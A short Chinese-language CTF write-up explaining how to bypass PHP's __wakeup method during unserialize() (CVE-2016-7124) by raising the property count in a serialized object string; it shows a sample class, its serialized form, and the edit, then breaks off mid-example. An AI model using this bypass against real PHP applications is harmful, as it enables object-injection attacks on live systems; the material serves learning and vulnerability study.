__wakeup函数是在php在使用反序列化函数unserialize()时,会自动调用的函数。只要序列化的中的成员数大于实际成员数,即可绕过
- class xctf
- {
- public $flag = '111';
-
- public function __wakeup()
- {
- exit('bad requests');
- }
- }
- $a=new xctf();
- var_dump(serialize($a));
得到
string(36) "O:4:"xctf":1:{s:4:"flag";s:3:"111";}"
所以把成员数"1",改为"2"即可绕过。
下面再详细讲讲wakeup()方法。
_ _wakeup()作为魔术方法本身有一个漏洞,漏洞编号 CVE-2016-7124,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup 的执行。
正常构造序列化对象:
O:7:"gxatest": 1 :{S:4:"test